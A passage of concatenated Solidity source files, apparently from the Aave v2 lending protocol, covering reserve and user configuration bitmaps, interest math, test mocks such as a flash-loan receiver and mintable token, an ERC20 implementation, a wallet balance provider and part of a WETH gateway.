constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore /// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16; uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32; uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48; uint256 constant IS_ACTIVE_START_BIT_POSITION = 56; uint256 constant IS_FROZEN_START_BIT_POSITION = 57; uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58; uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59; uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64; uint256 constant MAX_VALID_LTV = 65535; uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535; uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535; uint256 constant MAX_VALID_DECIMALS = 255; uint256 constant MAX_VALID_RESERVE_FACTOR = 65535; /** * @dev Sets the Loan to Value of the reserve * @param self The reserve configuration * @param ltv the new ltv **/ function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV); self.data = (self.data & LTV_MASK) | ltv; } /** * @dev Gets the Loan to Value of the reserve * @param self The reserve configuration * @return The loan to value **/ function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return self.data & ~LTV_MASK; } /** * @dev Sets the liquidation threshold of the reserve * @param self The reserve configuration * @param threshold The new liquidation threshold **/ function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold) internal pure { require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD); self.data = (self.data & LIQUIDATION_THRESHOLD_MASK) | (threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION); } /** * @dev Gets the liquidation threshold of the reserve * @param self The reserve configuration * @return The liquidation threshold **/ function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION; } /** * @dev Sets the liquidation bonus of the reserve * @param self The reserve configuration * @param bonus The new liquidation bonus **/ function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus) internal pure { require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS); self.data = (self.data & LIQUIDATION_BONUS_MASK) | (bonus << LIQUIDATION_BONUS_START_BIT_POSITION); } /** * @dev Gets the liquidation bonus of the reserve * @param self The reserve configuration * @return The liquidation bonus **/ function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION; } /** * @dev Sets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @param decimals The decimals **/ function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals) internal pure { require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS); self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION); } /** * @dev Gets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @return The decimals of the asset **/ function getDecimals(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION; } /** * @dev Sets the active state of the reserve * @param self The reserve configuration * @param active The active state **/ function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure { self.data = (self.data & ACTIVE_MASK) | (uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); } /** * @dev Gets the active state of the reserve * @param self The reserve configuration * @return The active state **/ function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~ACTIVE_MASK) != 0; } /** * @dev Sets the frozen state of the reserve * @param self The reserve configuration * @param frozen The frozen state **/ function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure { self.data = (self.data & FROZEN_MASK) | (uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION); } /** * @dev Gets the frozen state of the reserve * @param self The reserve configuration * @return The frozen state **/ function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~FROZEN_MASK) != 0; } /** * @dev Enables or disables borrowing on the reserve * @param self The reserve configuration * @param enabled True if the borrowing needs to be enabled, false otherwise **/ function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled) internal pure { self.data = (self.data & BORROWING_MASK) | (uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the borrowing state of the reserve * @param self The reserve configuration * @return The borrowing state **/ function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~BORROWING_MASK) != 0; } /** * @dev Enables or disables stable rate borrowing on the reserve * @param self The reserve configuration * @param enabled True if the stable rate borrowing needs to be enabled, false otherwise **/ function setStableRateBorrowingEnabled( DataTypes.ReserveConfigurationMap memory self, bool enabled ) internal pure { self.data = (self.data & STABLE_BORROWING_MASK) | (uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the stable rate borrowing state of the reserve * @param self The reserve configuration * @return The stable rate borrowing state **/ function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~STABLE_BORROWING_MASK) != 0; } /** * @dev Sets the reserve factor of the reserve * @param self The reserve configuration * @param reserveFactor The reserve factor **/ function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor) internal pure { require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR); self.data = (self.data & RESERVE_FACTOR_MASK) | (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION); } /** * @dev Gets the reserve factor of the reserve * @param self The reserve configuration * @return The reserve factor **/ function getReserveFactor(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION; } /** * @dev Gets the configuration flags of the reserve * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlags(DataTypes.ReserveConfigurationMap storage self) internal view returns ( bool, bool, bool, bool ) { uint256 dataLocal = self.data; return ( (dataLocal & ~ACTIVE_MASK) != 0, (dataLocal & ~FROZEN_MASK) != 0, (dataLocal & ~BORROWING_MASK) != 0, (dataLocal & ~STABLE_BORROWING_MASK) != 0 ); } /** * @dev Gets the configuration paramters of the reserve * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParams(DataTypes.ReserveConfigurationMap storage self) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 dataLocal = self.data; return ( dataLocal & ~LTV_MASK, (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration paramters of the reserve from a memory object * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParamsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( uint256, uint256, uint256, uint256, uint256 ) { return ( self.data & ~LTV_MASK, (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration flags of the reserve from a memory object * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( bool, bool, bool, bool ) { return ( (self.data & ~ACTIVE_MASK) != 0, (self.data & ~FROZEN_MASK) != 0, (self.data & ~BORROWING_MASK) != 0, (self.data & ~STABLE_BORROWING_MASK) != 0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title UserConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the user configuration */ library UserConfiguration { uint256 internal constant BORROWING_MASK = 0x5555555555555555555555555555555555555555555555555555555555555555; /** * @dev Sets if the user is borrowing the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param borrowing True if the user is borrowing the reserve, false otherwise **/ function setBorrowing( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool borrowing ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2))) | (uint256(borrowing ? 1 : 0) << (reserveIndex * 2)); } /** * @dev Sets if the user is using as collateral the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param usingAsCollateral True if the user is usin the reserve as collateral, false otherwise **/ function setUsingAsCollateral( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool usingAsCollateral ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2 + 1))) | (uint256(usingAsCollateral ? 1 : 0) << (reserveIndex * 2 + 1)); } /** * @dev Used to validate if a user has been using the reserve for borrowing or as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing or as collateral, false otherwise **/ function isUsingAsCollateralOrBorrowing( DataTypes.UserConfigurationMap memory self, uint256 reserveIndex ) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 3 != 0; } /** * @dev Used to validate if a user has been using the reserve for borrowing * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing, false otherwise **/ function isBorrowing(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 1 != 0; } /** * @dev Used to validate if a user has been using the reserve as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve as collateral, false otherwise **/ function isUsingAsCollateral(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2 + 1)) & 1 != 0; } /** * @dev Used to validate if a user has been borrowing from any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isBorrowingAny(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data & BORROWING_MASK != 0; } /** * @dev Used to validate if a user has not been using any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isEmpty(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data == 0; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IReserveInterestRateStrategyInterface interface * @dev Interface for the calculation of the interest rates * @author Aave */ interface IReserveInterestRateStrategy { function baseVariableBorrowRate() external view returns (uint256); function getMaxVariableBorrowRate() external view returns (uint256); function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256, uint256, uint256 ); function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {WadRayMath} from './WadRayMath.sol'; library MathUtils { using SafeMath for uint256; using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant SECONDS_PER_YEAR = 365 days; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solium-disable-next-line uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp)); return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray()); } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solium-disable-next-line uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {FlashLoanReceiverBase} from '../../flashloan/base/FlashLoanReceiverBase.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; contract MockFlashLoanReceiver is FlashLoanReceiverBase { using SafeERC20 for IERC20; ILendingPoolAddressesProvider internal _provider; event ExecutedWithFail(address[] _assets, uint256[] _amounts, uint256[] _premiums); event ExecutedWithSuccess(address[] _assets, uint256[] _amounts, uint256[] _premiums); bool _failExecution; uint256 _amountToApprove; bool _simulateEOA; constructor(ILendingPoolAddressesProvider provider) public FlashLoanReceiverBase(provider) {} function setFailExecutionTransfer(bool fail) public { _failExecution = fail; } function setAmountToApprove(uint256 amountToApprove) public { _amountToApprove = amountToApprove; } function setSimulateEOA(bool flag) public { _simulateEOA = flag; } function amountToApprove() public view returns (uint256) { return _amountToApprove; } function simulateEOA() public view returns (bool) { return _simulateEOA; } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) public override returns (bool) { params; initiator; if (_failExecution) { emit ExecutedWithFail(assets, amounts, premiums); return !_simulateEOA; } for (uint256 i = 0; i < assets.length; i++) { //mint to this contract the specific amount MintableERC20 token = MintableERC20(assets[i]); //check the contract has the specified balance require( amounts[i] <= IERC20(assets[i]).balanceOf(address(this)), 'Invalid balance for the contract' ); uint256 amountToReturn = (_amountToApprove != 0) ? _amountToApprove : amounts[i].add(premiums[i]); //execution does not fail - mint tokens and return them to the _destination token.mint(premiums[i]); IERC20(assets[i]).approve(address(LENDING_POOL), amountToReturn); } emit ExecutedWithSuccess(assets, amounts, premiums); return true; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableERC20 is ERC20 { constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokens * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(_msgSender(), value); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; import './IERC20.sol'; import './SafeMath.sol'; import './Address.sol'; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Address} from '../dependencies/openzeppelin/contracts/Address.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title WalletBalanceProvider contract * @author Aave, influenced by https://github.com/wbobeirne/eth-balance-checker/blob/master/contracts/BalanceChecker.sol * @notice Implements a logic of getting multiple tokens balance for one user address * @dev NOTE: THIS CONTRACT IS NOT USED WITHIN THE AAVE PROTOCOL. It's an accessory contract used to reduce the number of calls * towards the blockchain from the Aave backend. **/ contract WalletBalanceProvider { using Address for address payable; using Address for address; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; address constant MOCK_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** @dev Fallback function, don't accept any ETH **/ receive() external payable { //only contracts can send ETH to the core require(msg.sender.isContract(), '22'); } /** @dev Check the token balance of a wallet in a token contract Returns the balance of the token for user. Avoids possible errors: - return 0 on non-contract address **/ function balanceOf(address user, address token) public view returns (uint256) { if (token == MOCK_ETH_ADDRESS) { return user.balance; // ETH balance // check if token is actually a contract } else if (token.isContract()) { return IERC20(token).balanceOf(user); } revert('INVALID_TOKEN'); } /** * @notice Fetches, for a list of _users and _tokens (ETH included with mock address), the balances * @param users The list of users * @param tokens The list of tokens * @return And array with the concatenation of, for each user, his/her balances **/ function batchBalanceOf(address[] calldata users, address[] calldata tokens) external view returns (uint256[] memory) { uint256[] memory balances = new uint256[](users.length * tokens.length); for (uint256 i = 0; i < users.length; i++) { for (uint256 j = 0; j < tokens.length; j++) { balances[i * tokens.length + j] = balanceOf(users[i], tokens[j]); } } return balances; } /** @dev provides balances of user wallet for all reserves available on the pool */ function getUserWalletBalances(address provider, address user) external view returns (address[] memory, uint256[] memory) { ILendingPool pool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool()); address[] memory reserves = pool.getReservesList(); address[] memory reservesWithEth = new address[](reserves.length + 1); for (uint256 i = 0; i < reserves.length; i++) { reservesWithEth[i] = reserves[i]; } reservesWithEth[reserves.length] = MOCK_ETH_ADDRESS; uint256[] memory balances = new uint256[](reservesWithEth.length); for (uint256 j = 0; j < reserves.length; j++) { DataTypes.ReserveConfigurationMap memory configuration = pool.getConfiguration(reservesWithEth[j]); (bool isActive, , , ) = configuration.getFlagsMemory(); if (!isActive) { balances[j] = 0; continue; } balances[j] = balanceOf(user, reservesWithEth[j]); } balances[reserves.length] = balanceOf(user, MOCK_ETH_ADDRESS); return (reservesWithEth, balances); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IWETH} from './interfaces/IWETH.sol'; import {IWETHGateway} from './interfaces/IWETHGateway.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract WETHGateway is IWETHGateway, Ownable { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; IWETH internal immutable WETH; /** * @dev Sets the WETH address and the LendingPoolAddressesProvider address. Infinite approves lending pool. * @param weth Address of the Wrapped Ether contract **/ constructor(address weth) public { WETH = IWETH(weth); } function authorizeLendingPool(address lendingPool) external onlyOwner { WETH.approve(lendingPool, uint256(-1)); } /** * @dev deposits WETH into the reserve, using native ETH. A corresponding amount of the overlying asset (aTokens) * is minted. * @param lendingPool address of the targeted underlying lending pool * @param onBehalfOf address of the user who will receive the aTokens representing the deposit * @param referralCode integrators are assigned a referral code and can potentially receive rewards. **/ function depositETH( address lendingPool, address onBehalfOf, uint16 referralCode ) external payable override { WETH.deposit{value: msg.value}(); ILendingPool(lendingPool).deposit(address(WETH), msg.value, onBehalfOf, referralCode); } /** * @dev withdraws the WETH _reserves of msg.sender. * @param lendingPool address of the targeted underlying lending pool * @param amount amount of aWETH to withdraw and receive native ETH * @param to address of the user who will receive native ETH */ function withdrawETH( address lendingPool, uint256 amount, address to ) external override { IAToken aWETH = IAToken(ILendingPool(lendingPool).getReserveData(address(WETH)).aTokenAddress); uint256 userBalance = aWETH.balanceOf(msg.sender); uint256 amountToWithdraw = amount; // if amount is equal to uint(-1), the user wants to redeem everything if (amount == type(uint256).max) { amountToWithdraw = userBalance; } aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); ILendingPool(lendingPool).withdraw(address(WETH), amountToWithdraw, address(this)); WETH.withdraw(amountToWithdraw); _safeTransferETH(to, amountToWithdraw); } /** * @dev repays a borrow on the WETH reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified). * @param lendingPool address of the targeted underlying lending pool * @param amount the amount to repay, or uint256(-1) if the user wants to repay everything * @param rateMode the rate mode to repay * @param onBehalfOf the address 